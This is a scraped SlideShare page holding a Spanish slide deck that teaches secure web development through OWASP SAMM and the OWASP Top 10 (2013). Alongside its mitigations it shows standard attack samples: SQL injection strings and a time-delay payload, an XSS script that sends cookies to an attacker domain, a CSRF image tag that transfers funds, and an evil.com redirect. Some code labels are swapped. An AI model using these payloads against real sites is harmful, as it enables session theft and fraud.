SlideShare une entreprise Scribd logo
1  sur  29
Télécharger pour lire hors ligne
Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP)

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Introducción | Contexto

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Introducción | Contexto

Antecedente:
Top ATTack Web [2012]

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Introducción | Contexto

Vulnerabilidades
[porcentaje de aplicaciones afectadas]

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Introducción | Contexto

Vulnerabilidades [Dispositivos Móviles (App´s)]

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Introducción | Contexto

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Que? | SAMM | Contexto

El modelo de madurez para el aseguramiento de software (SAMM
por sus siglas en inglés Software Assurance Maturity Model) es un
marco de trabajo abierto para ayudar a formular e implementar una
estrategia de seguridad para Software.
Beneficios:
• Evaluar las prácticas de seguridad en Software existentes en la
empresa - organización
• Construir un programa de seguridad en Software balanceado en
iteraciones bien definidas
• Demostrar mejoras concretas en el programa de aseguramiento calidad de Software
• Definir y medir las actividades relacionadas con seguridad en la
organización

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}

www.owasp.org
SAMM | Descripción | Framework

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
SAMM | Descripción
Niveles de Madurez
Cada una de las prácticas de seguridad tiene
tres niveles de madurez bien definidos y un
nivel inicial (cero) implícito:
Estrategia y métricas - Política y cumplimiento - Educación y orientación [SM-PC-EG]

Evaluación de amenaza - Requisitos de seguridad - Arquitectura de seguridad [TA-SR-SA]

Revisión de diseño - Revisión de código - Pruebas de seguridad [DR-CR-ST]

• Punto de inicio implícito, las actividades
en la practica que no se han realizado
• Entendimiento inicial y provisión ad-hoc
de la práctica de seguridad
• Incremento en la eficiencia y/o
efectividad de la práctica de seguridad
• Dominio amplio de la práctica de
seguridad

[Practica de seguridad + Objetivos +
Actividades + Nivel de madurez (1,2,3)]

Administración de vulnerabilidades - Fortalecimiento del ambiente - Habilitación operativa [VW-EH-OE]
Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
SAMM | Framework WorkFlow

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Como? | OWASP | Contexto
OWASP Es un Proyecto abierto de seguridad para implementar en el desarrollo de aplicaciones web (acrónimo en
inglés Open Web Application Security Project), formada por empresas, organizaciones educativas y particulares de
todo el mundo.
- Comunidad de seguridad informática que trabaja para crear artículos, metodologías,
documentación, herramientas y tecnologías, las cuales pueden ser usadas gratuitamente.
www.owasp.org

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Contexto
Tipos de Vulnerabilidades |












Top 10 Norma OWASP 2013

Inyección de código [Sql Injection]
Pérdida de Autenticación y Gestión de Sesiones [Broken Authentication and Session Management]
Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)]
Referencia Directa Insegura a Objetos [Insecure Direct Object References]
Configuración Defectuosa de Seguridad [Security Misconfiguration]
Exposición de datos Sensibles [Sensitive Data Exposure]
Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control]
Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)]
Uso de Componentes vulnerables [Using Known Vulnerable Components]
Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards]

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Inyección de código [Sql Injection]
• Escenario #1: Aplicación que realiza una consulta [SQL]:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
• Escenario #2: Aplicación similar a la anterior, en esta pasa parámetros hacia la consulta sobre la
url: Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ +
equest.getParameter("id") + "'");
Al momento de modificar la variable ‘id’ los cuales son parámetros que están en la url que
muestra el browser: ' or '1'='1.
Por ejemplo: http://midominio.com/app/accountView?id=' or '1'='1
Este cambio puede afectar a la consulta o algún procedimiento almacenado que tenga la
lógica del negocio a nivel de base de datos, alterando la información almacenada

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Inyección de código [Sql Injection]
API de seguridad [“white list”] que valide los siguientes caracteres
' or "
Caracteres – Indicadores String
-- or #
Comentarios tipo single-line
/*…*/
Comentarios tipo multiple-line
+
Conector adicional (por espacio en la url)
||
Conector tipo (double pipe)
%
Atributo de indicador - wildcard
?Param1=foo&Param2=bar Parámetros en la url
PRINT
Comando Transaccional (non)
@variable
Variable Local
@@variable
Variable Global
waitfor delay '0:0:10'
Opciones de Time-Delay

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Pérdida de Autenticación y Gestión de Sesiones [Broken Authentication and Session Management]

Escenario: Al momento de hacer reservaciones en una Aerolínea aplicando [URL rewriting], en el manejo de las
sesiones [ID´s] en la url:
http://midominio.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?destino=Hawaii
El usuario autenticado del sitio quiere dejar que sus amigos estén enterados acerca de la venta del boleto en el
portal en línea, el cual lo envía por e-mail en el enlace anterior sin saber que también está regalando su ID de
sesión [Marcado con amarillo]., y probablemente estén referenciados datos de su tarjeta de crédito.

Nota: para que la validación de las contraseñas definidas dentro del sistema [Registro de usuarios]
este correcta tomar en cuenta los caracteres [incluyendo mayúsculas, minúsculas, números y otros
signos especiales, como +, -, ;, #, $, %, &, (, ), /, @, _]

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)]
Escenario: Escenario de ataque La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin
validación en las sentencias de “escape”

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
Al momento de modificar los parámetros de ‘CC’ en el browser puede dejar pasar parámetros que construyan otro sub
sitio web con información apócrifa
'><script>document.location= 'http://www.dominioexternoparaAtacar.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Permite que el atacante secuestre la sesión de usuario así como también su identidad web.

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)]
Para evitar esta eventualidad es necesario la separación de los datos no confiables de contenido activo en el navegador.
Validar las variables de [escape] correctamente en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL), como lo
muestra la siguiente tabla:
Hay que tomar en cuenta la validación de entrada de los datos [white list], en la cual se validan caracteres especiales que no
permitan la inserción de código malicioso o información irrelevante para el sistema, validar la longitud, el formato y las reglas
de negocio de los datos antes de aceptar la entrada.
Tipo de dato
String

Contexto
HTML Body
Atributos HTML

Ejemplo de código
<span> Datos no confiables </span>
<input type="text" name="fname" value="Datos no confiables">

String

Parametros tipo GET

<a href="/site/search?value= Datos no confiables ">click</a>

String
String

URL , SRC o HREF atributos no
confiables
Validaciones CSS

<a href=" Datos no confiables ">click</a>
<iframe src=" Datos no confiables " />
<div style="width: Datos no confiables;">Selección</div>

String

Variables JavaScript

HTML

HTML Body
DOM XSS

<script>var currentValue=' Datos no confiables ';</script>
<script>algunaFunction(' Datos no confiables ');</script>
<div>HTML no confiable</div>
<script>document.write("Datos no confiables INPUT: " +
document.location.hash);<script/>

String

String

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Referencia Directa Insegura a Objetos [Insecure Direct Object References]

La aplicación utiliza datos no verificados en una llamada de [SQL] que accede a la información:
String query = "SELECT * FROM accts WHERE account =?"; PreparedStatement pstmt =
connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results =
pstmt.executeQuery( );
Al momento que se modifica el parámetro ‘acct’ que envía por el browser realiza el llamado al objeto no validado y
ejecuta la eventualidad.
http://dominioEjemplo.com/app/accountInfo?acct=notmyacct

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Configuración Defectuosa de Seguridad [Security Misconfiguration]

Escenario # 1: El listado de directorios no está deshabilitado en el servidor de aplicaciones. El atacante descubre
que simplemente puede listar directorios para encontrar cualquier archivo. El atacante encuentra y descarga
todas las clases Java compiladas, realiza el método de “ingeniería inversa” para obtener todo el código
personalizado.

Escenario # 2: El servidor de aplicaciones de producción incluye proyectos de ejemplo que no se eliminan,
dichas aplicaciones - proyectos tienen fallos de seguridad, los cuales el atacante pueden utilizar para
comprometer la estabilidad y degradar el servicio o colapsar la funcionalidad.

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Configuración Defectuosa de Seguridad [Security Misconfiguration]
El siguiente seudocódigo muestra una validación simple para atrapar eventualidades y controlar la
información que se le presenta al usuario final.
.NET
try {
System.out.println(" Argumento ");
out = new PrintWriter(new
FileWriter("ArchivodeSalida.txt"));
……
} catch (Exception e) {
System.err.println("Ocurrió un error!”);
} catch (IOException e) {
System.err.println("insertar excepción");
} finally {
if (out != null) {
out.close();
}

JAVA
public class ___ {
public static void Main() {
try {
StreamReader sr =
File.OpenText("ArchivodeSalida.txt.txt");
Console.WriteLine("Reading line {0}",
sr.ReadLine());
}
catch(Exception e) {
Console.WriteLine("Ocurrió un error”);
logerror(“Tipo de error: “, e);
}
}
}

}

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Exposición de datos Sensibles [Sensitive Data Exposure]

Escenario # 1: Una aplicación encripta el número de tarjeta de crédito en una base de datos mediante el
cifrado automática, sin embargo, esto significa que también descifra los datos de forma automática cuando
se recuperan, lo que permite un fallo de inyección SQL para recuperar los números de tarjetas de crédito en
parámetros de texto enviados por formularios no validados. El sistema debería haber cifrado el número de
tarjeta de crédito a través de una clave pública, y sólo permite las aplicaciones de back-end a descifrar con
la clave privada.
Escenario # 2: Un sitio simplemente no utiliza SSL para todas las páginas autenticadas. El atacante sólo
supervisa el tráfico de red (como una red inalámbrica abierta), y roba por medio de cookie´s de sesión del
usuario. Seguidamente, crea nuevamente [replays (sobre escribir afectando el flujo de la información)] esta
cookie y secuestra la sesión del usuario, el acceso a los datos privados de los usuarios.
Nota: Tomar en cuenta los algoritmos de criptografía para contraseñas - Password´s
[scrypt, bcrypt, PBKDF2 (Password-Based Key Derivation Function 2) asi como
también SSL].

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control]
Escenario # 1: El atacante simplemente explora las URL de destino [Crawler – Audit (puede ser un software)].
Y detecta que necesitan autenticación, también se requieren derechos de administrador para acceder a la
página "admin_getappInfo",
http://midominio.com/app/getappInfo http://midominio.com/app/admin_getappInfo,
Si un usuario no autenticado [dentro de la validación de las funciones que comprenden el flujo del proyecto
(cuentas de administración o privilegios de usuarios normales)] puede acceder a cualquiera de las páginas,
se declara la vulnerabilidad y el atacantes puede ver la información.
Escenario # 2: Una página web proporciona un parámetro de "acción" para especificar la función que se
invoca, y diferentes acciones requieren diferentes roles. Si estas funciones no se cumplen, eso es un defecto.

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control]

 Determinar al nivel de interfaz de navegación funciones no autorizadas.
 Depurar dentro del proyecto (aplicación) funciones que no estén en uso.
 Comprobar si algunas funciones necesitan autenticación por parte del servidor de
aplicaciones o del cliente (usuario final).
 Identificara parámetros de [Proxy], que impliquen validaciones dentro de las funciones para
el control de acceso.
 Identificar sitio de confianza o restringidos para determinar el comportamiento de las
funciones en el control de acceso.
 Identificar patrones de autorización dentro de las funciones que comprenden el flujo de
trabajo en el proyecto.

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)]
Escenario: La aplicación permite al usuario enviar una solicitud cambiante de estado que no incluye nada
encriptado. Por ejemplo: http://midominio.com/app/transferFunds?amount=1500 y destinationAccount =
4673243243 Por lo tanto, el atacante construye una solicitud para que se transfiera el dinero de la cuenta de
la víctima a la cuenta del atacante y, después incorpore este ataque en una solicitud dentro del llamado de la
imagen o de un iframe, almacena en varios sitios bajo el control del atacante:
<img src="http://midominio.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#"
width="0" height="0" />
Si la víctima accede a cualquiera de los sitios del atacante, mientras que ya este autenticado para el sitio
midominio.com, estas solicitudes forzadas incluirán automáticamente información de la sesión del usuario,
autorizando la solicitud del atacante y permitiendo infringir en el acceso de los datos generando la
eventualidad.

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)]

Hay que verificar los vínculos y formas que carecen de
un “token”, así como también forzar a que el usuario final
demuestre que es humano y no un robot de ataque a
este concepto se les llama [CAPTCHA - Completely
Automated Public Turing test to tell Computers and Humans
Apart (Prueba de Turing pública y automática para

diferenciar máquinas y humanos)]

http://www.google.com/recaptcha

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Uso de Componentes vulnerables [Using Known Vulnerable Components]

Escenario: Ejecución de componentes públicos en la web sin soporte y control de versiones para identificar
riesgos – eventualidades en tiempo d ejecución, alta dependencia de [Plug-in´s], dentro del entorno para el
usuario final por ejemplo [Apache CXF autenticación Bypass - Por no proporcionar un testigo de identidad, los
atacantes podrían invocar cualquier servicio web con el permiso completo. (Apache CXF es un marco de
servicios, que no debe confundirse con el Apache Application Server.)].

Para reducir el punto anterior es pertinente llevar un registro [Software control de versiones], que permita Administrar en
tiempo de ejecución los componente utilizados en el proyecto, para determinar la vigencia de uso.,

Evitar usar componentes que no sean de autoría propia o descargados de la web [que no tengan soporte a eventualidades
y actualización de versiones, licenciamiento o dependencias de Plug-Ins], dentro del código realizar un control de versiones
referente a un mensaje de correo para detectar eventualidades en el flujo del sistema en tiempo de ejecución

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards]
Escenario # 1: La aplicación tiene una página llamada "redirect.jsp", que tiene un solo parámetro denominado
"url", que redirige a los usuarios a un sitio malicioso que realiza el [phishing – malware].
http://www.midominio.com/redirect.jsp?url=evil.com
Escenario # 2: La aplicación utiliza un [Forward] para redirigir peticiones entre diferentes partes del sitio,
algunas páginas utilizan un parámetro para indicar que el usuario debe ser enviada si una transacción tiene
éxito. En este caso, puede ser que envía funcionalidades que permitan el más uso de la aplicación en tiempo
de ejecución o denegar servicios no autorizados.
http://www.midominio.com/boring.jsp?fwd=admin.jsp

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
OWASP | Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards]

Una buena práctica es identificar si en el código del proyecto existe redirecciones a otros servicios – servidores,
validar el manejo de expresiones controlada por una bitácora para controlar la (redirecciones - reenvió), controlar
los errores http de tipo (códigos 300-307), no implicar parámetros a la referencias de (reenvíos) con la finalidad
de controlar los parámetros de acción, usar EASAPI´s para redirecciones seguras [ejemplo sendRedirect ()],
evitando el [phishing (suplantación de identidad)]

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
Tema | Subtema

Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}

Contenu connexe

Tendances

Static Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and YouStatic Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and YouKevin Fealey
 
Secure Software Development Lifecycle
Secure Software Development LifecycleSecure Software Development Lifecycle
Secure Software Development Lifecycle1&1
 
Software quality assurance activites
Software quality assurance activitesSoftware quality assurance activites
Software quality assurance activitesGolu Gupta
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Aymeric Lagier
 
Pentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerPentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerBrian Hysell
 
Automation Testing using Selenium
Automation Testing using SeleniumAutomation Testing using Selenium
Automation Testing using SeleniumNaresh Chintalcheru
 
Web Test Automation with Selenium
Web Test Automation with SeleniumWeb Test Automation with Selenium
Web Test Automation with Seleniumvivek_prahlad
 
What is security testing and why it is so important?
What is security testing and why it is so important?What is security testing and why it is so important?
What is security testing and why it is so important?ONE BCG
 
Critical System Specification in Software Engineering SE17
Critical System Specification in Software Engineering SE17Critical System Specification in Software Engineering SE17
Critical System Specification in Software Engineering SE17koolkampus
 
Secure Agile SDLC BSides 14 - 2017 - Raphael Denipotti
Secure Agile SDLC BSides 14 - 2017 - Raphael DenipottiSecure Agile SDLC BSides 14 - 2017 - Raphael Denipotti
Secure Agile SDLC BSides 14 - 2017 - Raphael DenipottiRaphael Denipotti
 
Intro to Security in SDLC
Intro to Security in SDLCIntro to Security in SDLC
Intro to Security in SDLCTjylen Veselyj
 
Penetration testing reporting and methodology
Penetration testing reporting and methodologyPenetration testing reporting and methodology
Penetration testing reporting and methodologyRashad Aliyev
 
Scalable threat modelling with risk patterns
Scalable threat modelling with risk patternsScalable threat modelling with risk patterns
Scalable threat modelling with risk patternsStephen de Vries
 
Test automation principles, terminologies and implementations
Test automation principles, terminologies and implementationsTest automation principles, terminologies and implementations
Test automation principles, terminologies and implementationsSteven Li
 
Introduction To OWASP
Introduction To OWASPIntroduction To OWASP
Introduction To OWASPMarco Morana
 

Tendances (20)

Static Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and YouStatic Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and You
 
Secure Software Development Lifecycle
Secure Software Development LifecycleSecure Software Development Lifecycle
Secure Software Development Lifecycle
 
Software quality assurance activites
Software quality assurance activitesSoftware quality assurance activites
Software quality assurance activites
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)
 
Pentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerPentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A Primer
 
Automation Testing using Selenium
Automation Testing using SeleniumAutomation Testing using Selenium
Automation Testing using Selenium
 
Threat Modeling Using STRIDE
Threat Modeling Using STRIDEThreat Modeling Using STRIDE
Threat Modeling Using STRIDE
 
Web Test Automation with Selenium
Web Test Automation with SeleniumWeb Test Automation with Selenium
Web Test Automation with Selenium
 
Understanding cyber resilience
Understanding cyber resilienceUnderstanding cyber resilience
Understanding cyber resilience
 
What is security testing and why it is so important?
What is security testing and why it is so important?What is security testing and why it is so important?
What is security testing and why it is so important?
 
Secure Coding for Java
Secure Coding for JavaSecure Coding for Java
Secure Coding for Java
 
Automation Testing
Automation TestingAutomation Testing
Automation Testing
 
Critical System Specification in Software Engineering SE17
Critical System Specification in Software Engineering SE17Critical System Specification in Software Engineering SE17
Critical System Specification in Software Engineering SE17
 
Case tools
Case toolsCase tools
Case tools
 
Secure Agile SDLC BSides 14 - 2017 - Raphael Denipotti
Secure Agile SDLC BSides 14 - 2017 - Raphael DenipottiSecure Agile SDLC BSides 14 - 2017 - Raphael Denipotti
Secure Agile SDLC BSides 14 - 2017 - Raphael Denipotti
 
Intro to Security in SDLC
Intro to Security in SDLCIntro to Security in SDLC
Intro to Security in SDLC
 
Penetration testing reporting and methodology
Penetration testing reporting and methodologyPenetration testing reporting and methodology
Penetration testing reporting and methodology
 
Scalable threat modelling with risk patterns
Scalable threat modelling with risk patternsScalable threat modelling with risk patterns
Scalable threat modelling with risk patterns
 
Test automation principles, terminologies and implementations
Test automation principles, terminologies and implementationsTest automation principles, terminologies and implementations
Test automation principles, terminologies and implementations
 
Introduction To OWASP
Introduction To OWASPIntroduction To OWASP
Introduction To OWASP
 

En vedette

Evaluacion de arquitecturas
Evaluacion de arquitecturasEvaluacion de arquitecturas
Evaluacion de arquitecturasSamis Ambrocio
 
Seguridad OWASP en la Certificación PA-DSS de Aplicaciones de Pago
Seguridad OWASP en la Certificación PA-DSS de Aplicaciones de PagoSeguridad OWASP en la Certificación PA-DSS de Aplicaciones de Pago
Seguridad OWASP en la Certificación PA-DSS de Aplicaciones de Pagomarcsegarralopez
 
Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013
Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013
Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013Enrique Gustavo Dutra
 
Guía de implementación, integración de la seguridad en el ciclo de vida del s...
Guía de implementación, integración de la seguridad en el ciclo de vida del s...Guía de implementación, integración de la seguridad en el ciclo de vida del s...
Guía de implementación, integración de la seguridad en el ciclo de vida del s...Internet Security Auditors
 
Hacking web con OWASP
Hacking web con OWASPHacking web con OWASP
Hacking web con OWASPzekivazquez
 
Introduccion a la OWASP Guatemala
Introduccion a la OWASP GuatemalaIntroduccion a la OWASP Guatemala
Introduccion a la OWASP GuatemalaCamilo Fernandez
 
Modelado de amenazas
Modelado de amenazasModelado de amenazas
Modelado de amenazasBoris Murillo
 
Location Intelligence & Data Visualization
Location Intelligence & Data VisualizationLocation Intelligence & Data Visualization
Location Intelligence & Data VisualizationJorge Sanz
 
From producers to consumers: democratizing the access to reference data
From producers to consumers: democratizing the access to reference dataFrom producers to consumers: democratizing the access to reference data
From producers to consumers: democratizing the access to reference dataJorge Sanz
 
Location Intelligence for Everyone
Location Intelligence for EveryoneLocation Intelligence for Everyone
Location Intelligence for EveryoneJorge Sanz
 
Borealis Salon Ad
Borealis Salon AdBorealis Salon Ad
Borealis Salon AdCarrieM13
 
CleverCity - Location Intelligence for Smart Cities
CleverCity - Location Intelligence for Smart Cities CleverCity - Location Intelligence for Smart Cities
CleverCity - Location Intelligence for Smart Cities CleverMaps
 
CARTO BUILDER: from visualization to geospatial analysis
CARTO BUILDER: from visualization to geospatial analysisCARTO BUILDER: from visualization to geospatial analysis
CARTO BUILDER: from visualization to geospatial analysisJorge Sanz
 

En vedette (20)

Presentacion Guia OWASP 2014
Presentacion Guia OWASP 2014Presentacion Guia OWASP 2014
Presentacion Guia OWASP 2014
 
Evaluacion de arquitecturas
Evaluacion de arquitecturasEvaluacion de arquitecturas
Evaluacion de arquitecturas
 
Seguridad OWASP en la Certificación PA-DSS de Aplicaciones de Pago
Seguridad OWASP en la Certificación PA-DSS de Aplicaciones de PagoSeguridad OWASP en la Certificación PA-DSS de Aplicaciones de Pago
Seguridad OWASP en la Certificación PA-DSS de Aplicaciones de Pago
 
Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013
Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013
Capacitacion sobre Desarrollo Seguro - SDL / OWASP 2013
 
Guía de implementación, integración de la seguridad en el ciclo de vida del s...
Guía de implementación, integración de la seguridad en el ciclo de vida del s...Guía de implementación, integración de la seguridad en el ciclo de vida del s...
Guía de implementación, integración de la seguridad en el ciclo de vida del s...
 
OWASP
OWASPOWASP
OWASP
 
Hacking web con OWASP
Hacking web con OWASPHacking web con OWASP
Hacking web con OWASP
 
Introduccion a la OWASP Guatemala
Introduccion a la OWASP GuatemalaIntroduccion a la OWASP Guatemala
Introduccion a la OWASP Guatemala
 
Owasp Top10 Spanish
Owasp Top10 SpanishOwasp Top10 Spanish
Owasp Top10 Spanish
 
Modelado de amenazas
Modelado de amenazasModelado de amenazas
Modelado de amenazas
 
Mapablogs
MapablogsMapablogs
Mapablogs
 
Location Intelligence & Data Visualization
Location Intelligence & Data VisualizationLocation Intelligence & Data Visualization
Location Intelligence & Data Visualization
 
La ComunicacióN
La ComunicacióNLa ComunicacióN
La ComunicacióN
 
From producers to consumers: democratizing the access to reference data
From producers to consumers: democratizing the access to reference dataFrom producers to consumers: democratizing the access to reference data
From producers to consumers: democratizing the access to reference data
 
Location Intelligence for Everyone
Location Intelligence for EveryoneLocation Intelligence for Everyone
Location Intelligence for Everyone
 
Borealis Salon Ad
Borealis Salon AdBorealis Salon Ad
Borealis Salon Ad
 
CARTO ENGINE
CARTO ENGINECARTO ENGINE
CARTO ENGINE
 
CleverCity - Location Intelligence for Smart Cities
CleverCity - Location Intelligence for Smart Cities CleverCity - Location Intelligence for Smart Cities
CleverCity - Location Intelligence for Smart Cities
 
CARTO BUILDER: from visualization to geospatial analysis
CARTO BUILDER: from visualization to geospatial analysisCARTO BUILDER: from visualization to geospatial analysis
CARTO BUILDER: from visualization to geospatial analysis
 
Owasp Top10 FireFox
Owasp Top10 FireFoxOwasp Top10 FireFox
Owasp Top10 FireFox
 

Similaire à Samm owasp

Mitigando Eventualidades de Seguridad en Web 2.0 + Semántica
Mitigando Eventualidades de Seguridad en Web 2.0 + SemánticaMitigando Eventualidades de Seguridad en Web 2.0 + Semántica
Mitigando Eventualidades de Seguridad en Web 2.0 + SemánticaSoftware Guru
 
Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5Jose Gratereaux
 
Curso basicoseguridadweb slideshare4
Curso basicoseguridadweb slideshare4Curso basicoseguridadweb slideshare4
Curso basicoseguridadweb slideshare4tantascosasquenose
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3tantascosasquenose
 
15a. Reunion de SpringHispano.org y grails.org.mx
15a. Reunion de SpringHispano.org y grails.org.mx15a. Reunion de SpringHispano.org y grails.org.mx
15a. Reunion de SpringHispano.org y grails.org.mxJose Juan R. Zuñiga
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Webacksec
 
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP7th_Sign
 
Seguridad en el Desarrollo de Aplicaciones Web PHP
Seguridad en el Desarrollo de Aplicaciones Web PHPSeguridad en el Desarrollo de Aplicaciones Web PHP
Seguridad en el Desarrollo de Aplicaciones Web PHP7th_Sign
 
Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10tabai
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securityseguridadelinux
 
NET MAUI Terasoft.pptx
NET MAUI Terasoft.pptxNET MAUI Terasoft.pptx
NET MAUI Terasoft.pptxLuis775803
 
"Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore""Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore"www.encamina.com
 
[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...
[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...
[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...Roger CARHUATOCTO
 
IT Camps Apps Office 365 Valencia 2014
IT Camps Apps Office 365 Valencia 2014IT Camps Apps Office 365 Valencia 2014
IT Camps Apps Office 365 Valencia 2014Adrian Diaz Cervera
 
Portabilidad y transportabilidad
Portabilidad y transportabilidadPortabilidad y transportabilidad
Portabilidad y transportabilidadjuanmanuelsalgado
 
Seguridad en arquitecturas serverless y entornos cloud
Seguridad en arquitecturas serverless y entornos cloudSeguridad en arquitecturas serverless y entornos cloud
Seguridad en arquitecturas serverless y entornos cloudJose Manuel Ortega Candel
 

Similaire à Samm owasp (20)

Mitigando Eventualidades de Seguridad en Web 2.0 + Semántica
Mitigando Eventualidades de Seguridad en Web 2.0 + SemánticaMitigando Eventualidades de Seguridad en Web 2.0 + Semántica
Mitigando Eventualidades de Seguridad en Web 2.0 + Semántica
 
Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5
 
Curso basicoseguridadweb slideshare4
Curso basicoseguridadweb slideshare4Curso basicoseguridadweb slideshare4
Curso basicoseguridadweb slideshare4
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3
 
15a. Reunion de SpringHispano.org y grails.org.mx
15a. Reunion de SpringHispano.org y grails.org.mx15a. Reunion de SpringHispano.org y grails.org.mx
15a. Reunion de SpringHispano.org y grails.org.mx
 
Temas owasp
Temas owaspTemas owasp
Temas owasp
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
WAF de AZURE
WAF de AZUREWAF de AZURE
WAF de AZURE
 
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
 
